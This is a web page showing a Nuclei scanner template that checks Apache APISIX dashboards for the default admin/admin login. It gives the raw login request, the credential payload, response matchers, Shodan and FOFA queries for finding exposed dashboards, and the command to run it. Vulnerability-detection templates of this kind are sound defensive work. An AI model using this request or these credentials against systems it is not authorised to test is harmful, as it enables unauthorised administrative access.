Skip to content

Apache Apisix Admin - Default Login

ID: apisix-default-login

Severity: high

Author: pdteam

Tags: apisix,apache,default-login

An Apache Apisix default admin login was discovered.

id: apisix-default-login
info:
name: Apache Apisix Admin - Default Login
author: pdteam
severity: high
description: An Apache Apisix default admin login was discovered.
reference:
- https://apisix.apache.org/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 1
product: https://apisix.apache.org
shodan-query: title:"Apache APISIX Dashboard"
fofa-query: title="Apache APISIX Dashboard"
tags: apisix,apache,default-login
http:
- raw:
- |
POST /apisix/admin/user/login HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization:
Content-Type: application/json;charset=UTF-8
{"username":"{{user}}","password":"{{pass}}"}
attack: pitchfork
payloads:
user:
- admin
pass:
- admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"data":'
- '"token":'
- '{"code":0'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4b0a0048304602210083b4e12ad41d18cee32943068ed68fe40f1a4b44f37e91b48631bbdb24f76237022100db384a640efdd2a4e2579ba890beabf8842174025562e40ff55c5c35fcd63284:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/default-logins/apache/apisix-default-login.yaml"

View on Github